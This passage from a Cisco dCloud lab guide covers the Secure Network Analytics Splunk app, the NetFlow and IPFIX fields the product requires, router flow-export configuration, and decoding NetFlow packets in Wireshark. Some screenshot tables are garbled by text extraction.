| 2019-03-13 09:45:00 EDT | High Total Traffic                                | Active   | 198.19.20.35  |                                   | Administrator     | Inside Hosts/By Function/Client IP Ranges (DHCP Range)/End User Devices  |
| 2019-03-13 09:00:00 EDT | Suspect Data Loss                                 | Active   | 198.19.20.137 |                                   |                   | Inside Hosts/Catch All   |
| 2019-03-13 08:53:00 EDT | Becon   | Active   | 10 201 3 83   | workstation-083                   | tasia             | Inside Hosts/By Eurotion/Client IP Bannes (THCP, Banne)/End Liest Davices  |

Within the Cisco Secure Network Analytics Splunk App there are various reports you can pull from Splunk, based on three
main categories as shown below:

- a. Alarm
- b. Monitor
- c. Analyze

| pp: Cisco Steal | thwatch App 🗸               |
|-----------------|-----------------------------|
| onitor 🗸 🔹 .    | Analyze 🗸                   |
|                 | op: Cisco Steal<br>onitor 🗸 |

4. Each main category has sub-categories to display data Secure Network Analytics has sent to Splunk.

# Appendix B. About NetFlow & IPFIX

#### What is NetFlow?

NetFlow is a feature that was originally introduced on Cisco routers that provides the ability to collect IP network traffic as it enters or exits an interface. By analyzing the data provided by NetFlow, a network administrator can determine things such as the source and destination of traffic, class of service, and the causes of congestion.

#### What are the various kinds of NetFlow?

Most enterprise class networking devices today support some variant of NetFlow. These can go by different names, so you may run across one or more of these in client environments:

- FNF (Flexible NetFlow)
- NSEL (NetFlow Security Event Logging)
- IPFIX (IP Flow Information Export)
- TNF (Traditional NetFlow)
- FlowCache
- NetFlow-lite Phase 1
- NetFlow-lite Phase 2
- AVC (Application Visibility and Control)
- NBAR2 (Network-Based Application Recognition)
- sFlow (Sampled Flow)

These all differ in various ways, and some Cisco devices can export NBAR2 as part of AVC which can provide extra application information to assist in investigations with Secure Network Analytics.

#### What NetFlow information is Secure Network Analytics expecting to see?

Secure Network Analytics expects specific NetFlow fields to be passed for it to properly analyze network traffic. Together, these fields comprise the NetFlow template.

The most common issue experienced when setting up Secure Network Analytics is invalid template errors. On most devices, you will be able to modify the NetFlow fields sent to Secure Network Analytics to receive the proper template information. For those devices that cannot send the proper template information, you will need to either rely on the NetFlow generated by other devices or install a device like a Secure Network Analytics Flow Sensor to generate NetFlow that Secure Network Analytics can interpret for you.

## Lab Guide

Cisco dCloud

The **Required** and **Optional** NetFlow fields that Secure Network Analytics ingests are:

| Description                           | Required or<br>Optional? | Notes   |
|---------------------------------------|--------------------------|---|
| match ipv4 protocol                   | Required                 | Key field   |
| match ipv4 source address             | Required                 | Key field   |
| match ipv4 destination address        | Required                 | Key field   |
| match transport source-port           | Required                 | Key field   |
| match transport destination-port      | Required                 | Key field   |
| match interface input                 | Required                 | Key field   |
| match ipv4 tos                        | Required                 | Key field   |
| collect interface output              | Required                 | Key field   |
| collect counter bytes                 | Required                 | Key field   |
| collect counter packets               | Required                 | Key field   |
| collect timestamp sys-uptime first    | Required                 | For calculating duration  |
| collect timestamp sys-uptime last     | Required                 | For calculating duration  |
| collect routing next-hop address ipv4 | Optional                 | Used for closest interface determination                          |
| collect ipv4 dscp                     | Optional                 | Used for closest QoS monitoring                                   |
| collect ipv4 ttl minimum              | Optional                 | Used for to understand the path of flow                           |
| collect ipv4 ttl maximum              | Optional                 | Used for to understand the path of flow                           |
| collect transport tcp flags           | Optional                 | Used for reporting on TCP flags                                   |
| collect routing destination AS        | Optional                 | Used for AS reporting   |
| collect application name              | Optional                 | Used to capture layer 7 application name when NBAR2 is being used |
| collect application http host         | Optional                 | Used to capture URL information when AVC is being used            |

### Enable flow: Steps

- 1. Create a Flow Record
- 2. Configure the **Exporter**
- 3. Configure the Monitor
- 4. Configure the Interface(s)

#### View flow configurations from the CSR Router

1. Open Putty, load the CSR configuration, and then open the session as shown below:

| 🕵 PuTTY Configuration  |  | ×   |
|--|--|---|
| Category:<br>Session<br>Category:<br>Category:<br>Category:<br>Comparison<br>Comparison<br>Colours<br>Connection<br>Colours<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connection<br>Connect | Basic options for your PuTTY<br>Specify the destination you want to co<br>Host Name (or IP address)<br>[198.19.20.1<br>Connection type:<br>Raw C Telnet C Rlogin C<br>Load, save or delete a stored session<br>Saved Sessions<br>[CSR<br>Default Settings<br>ASAv<br>CDS<br>CDSP<br>CSP<br>EC<br>FCNF<br>Close window on exit:<br>Always C Never C Only of | Y session<br>nnect to<br>Port<br>22<br>SSH C Serial<br>▲ Load<br>Save<br>Delete<br>■<br>■ |
| About  | Open   | Cancel  |

- 2. When the session loads with the username **admin**, insert **C1sco12345** for the password.
- 3. Use the following command to view the interfaces flow is being exported from: show flow interface.
- 4. Observe the output which should look like this:



Note: The direction of the flow: Input. When enabling flow, it is best practice to enable flow on the interface in the ingress direction.

#### Lab Guide Cisco dCloud

- 5. View the flow exporter with the following command: show run flow exporter.
- 6. The output should be the same as below for **show run flow exporter**:

```
CSR#show run flow exporter
Current configuration:
!
flow exporter NETFLOW_TO_STEALTHWATCH
description Export NetFlow to SW
destination 198.19.20.139
transport udp 2055
template data timeout 30
option interface-table
!
CSR#
```

- 7. Issue the following command: show run flow monitor.
- 8. Observe the output which should be the same as the **show run flow monitor** shown below:



**Note:** The cache timeout on Cisco devices be default is **30 minutes**. Secure Network Analytics needs the cache active timeout to be 1 minute or 60 seconds.

9. Issue the command: show run flow record.

10. Take note of the output shown in the **Show flow record**:

| CSR#show run flow record              |
|---------------------------------------|
| Current configuration:                |
| !                                     |
| flow record STEALTHWATCH_FLOW_RECORD  |
| description NetFlow record for SW     |
| match ipv4 tos                        |
| match ipv4 source address             |
| match ipv4 destination address        |
| match transport destination-port      |
| match transport source-port           |
| match interface input                 |
| match ipv4 protocol                   |
| collect routing source as             |
| collect routing destination as        |
| collect routing next-hop address ipv4 |
| collect ipv4 dscp                     |
| collect ipv4 id                       |
| collect ipv4 source prefix            |
| collect ipv4 source mask              |
| collect ipv4 destination mask         |
| collect ipv4 ttl minimum              |
| collect ipv4 ttl maximum              |
| collect transport tcp flags           |
| collect interface output              |
| collect counter bytes                 |
| collect counter packets               |
| collect timestamp sys-uptime first    |
| collect timestamp sys-uptime last     |
| !                                     |
| CSR#                                  |

**Note:** The highlighted match and collect statements above are required fields in Secure Network Analytics. The other fields are optional to collect additional data.

Review this tool that was built by a Cisco engineering on sample NetFlow configurations on a per devices bases: <u>https://configurenetflow.info/</u>. This is a good resourced when having NetFlow enabled within your environment.

### Review a NetFlow packet capture

- 1. From Wkst1, open the **Downloads > lab content** from Windows Explorer.
- 2. Open the **Netflow sample** folder.

| 🔍 🗢 🕢 退 ator.WKST:          | L\Down | loads\lab content\Netflow sample | • 4 <sub>7</sub>  | Search Netflow sample | 1         |
|-----------------------------|--------|----------------------------------|-------------------|-----------------------|-----------|
| rganize 👻 Include in libr   | ary 🔻  | Share with 🔻 New folder          |                   | 8                     | ≣ • 🗊     |
| Downloads                   | *      | Name                             | Date modified     | Туре                  | Size      |
| lab content lab-exploit-kit |        | 📑 IPFIX.pcap                     | 8/17/2019 3:09 PM | Wireshark capture     | 37,512 KB |
|                             |        | 📰 NaaS.jpg                       | 8/17/2019 3:09 PM | JPEG image            | 83 KB     |
| Netflow sample              |        | 🔚 netflow-example.pcap           | 8/17/2019 3:09 PM | Wireshark capture     | 1,245 KB  |
| Favorites                   | Ε      |                                  |                   |                       |           |
| 🗽 Links                     |        |                                  |                   |                       |           |
| My Documents                |        |                                  |                   |                       |           |
| 🌗 My Music                  | -      |                                  |                   |                       |           |

- 3. Open the **netflow-example.pcap** file
  - a. Note: If a Wireshark update window appears, select skip this version.

| C:\Users\Administrator.WH   | (ST1\Desktop\Use Cases\NetFlow (Lab 03)<br>Cases 👻 NetFlow (Lab 03)                           |
|---|---|
| File Edit View Tools<br>Organize ▼ Include in lit<br>Recycle Bin ▲<br>Tor Browser<br>Use Cases<br>Attack (Lab 05)<br>Host Group Au<br>NetFlow (Lab 0<br>Trapped Hosts ↓ | Help<br>prary  Share with  New folder<br>Name  IPFDX.pcap<br>NaaS.jpg<br>netflow-example.pcap |

4. Select the first packet from the capture.

Wireshark packet listing of netflow-example.pcap

|      | 🥖 netflow-example.pcap  |                          |                         |          |                    |          |
|------|---|--------------------------|-------------------------|----------|--------------------|----------|
| File | e Edit View Go Captu  | ire Analyze Statistics T | elephony Wireless Tools | Help     |                    |          |
|      | ( 🔳 🔬 💿 ] 🛅 🔀   | । 🖻   ९ 🗢 🔿 聲 👔          | 5 👲 🚍 📃 🔍 Q 🖷           | <b>1</b> |                    |          |
|      | Apply a display filter <ctrl< th=""><th>-/&gt;</th><th></th><th></th><th></th><th></th></ctrl<> | -/>                      |                         |          |                    |          |
| No   | . Time  | Source                   | Destination             | Protocol | Length Info        |          |
|      | 1 0.000000  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v  | 5) flows |
|      | 2 1.945376  | 19 7.133.36              | 198.18.133.137          | CFLOW    | 1508 total: 30 (v  | 5) flows |
|      | 3 32.707583   | 198 133.36               | 198.18.133.137          | CFLOW    | 1220 total: 24 (v! | 5) flows |
|      | 4 42.742017   | 198.18.1. 36             | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 5 45.897316   | 198.18.133.              | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 6 45.897433   | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 7 47.741774   | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 8 47.741904   | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 9 47.742047   | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 10 47.742251  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v! | 5) flows |
|      | 11 47.742454  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v: | 5) flows |
|      | 12 50.742417  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v: | 5) flows |
|      | 13 53.766295  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v  | 5) flows |
|      | 14 53.766389  | 198.18.133.36            | 198.18.133.137          | CFLOW    | 1508 total: 30 (v  | 5) flows |

5. In the middle section of Wireshark, click the plus sign (+) next to Cisco NetFlow/IPFIX.

Packet details of netflow-example.pcap

| 🖵 Frame 1: 1508 bytes on wire (12064 bits), 1508 bytes captured (12064 bits) |
|--|
| 🗄 Linux cooked capture   |
| Internet Protocol Version 4, Src: 198.18.133.36, Dst: 198.18.133.137         |
| 🗄 User Datagram Protocol, Src Port: 50432, Dst Port: 2055                    |
| Cisco NetFlow/IPFIX  |
| Version: 5   |
| Count: 30  |
| SysUptime: 171.957000000 seconds   |
| 🗄 Timestamp: May 3, 2017 01:49:00.000000302 Eastern Daylight Time            |
| FlowSequence: 124  |
| EngineType: RP (0)   |
| EngineId: 158  |
| 00   |
|  |
| 🕒 pdu 1/30 👥   |
| ⊕ pdu 2/30   |
| ⊕ pdu 3/30   |
| ⊕ pdu 4/30   |
| ⊕ pdu 5/30   |
| ⊕ pdu 6/30   |
| ⊕ pdu 7/30   |
| ⊕-pdu 8/30   |
| ⊕ pdu 9/30   |

- 6. Click to expand one of the PDU's, as shown above. PDU is short for Protocol Data Unit--the term used to describe data as it moves from one layer of the OSI model to another. In this reference, PDU is often used synonymously with *packet*.
- 7. Compare the fields in the PDU to the figure below.

#### Expanded PDU





You may need to do a similar analysis of a packet if Secure Network Analytics is giving invalid template errors for a device, and the configuration looks accurate.

If any NetFlow fields are missing, like the source IP, time stamps, or byte counters that Secure Network Analytics requires, you will need to have the NetFlow record on the source exporters adjusted to contain the minimum required fields.

#### **Summary**

Within this lab, you learned:

- That Secure Network Analytics uses netflow as its primary data source.
- The different types of NetFlow.
- Which NetFlow fields are required and which fields are optional.
- How to decode a NetFlow packet with Wireshark.
- How to decode an IPFIX packet with Wireshark.

Lab Guide Cisco dCloud





# What's next?

Talk about it on the dCloud Community!



Americas Headquarters Cisco Systems, Inc. San Jose, CA Asia Pacific Headquarters Cisco Systems (USA) Pte. Ltd. Singapore Europe Headquarters Cisco Systems International BV Amsterdam, The Netherlands

Cisco has more than 200 offices worldwide. Addresses, phone numbers, and fax numbers are listed on the Cisco Website at www.cisco.com/go/offices.

Cisco and the Cisco logo are trademarks or registered trademarks of Cisco and/or its affiliates in the U.S. and other countries. To view a list of Cisco trademarks, go to this URL: www.cisco.com/go/trademarks. Third party trademarks mentioned are the property of their respective owners. The use of the word partner does not imply a partnership relationship between Cisco and any other company. (1110R)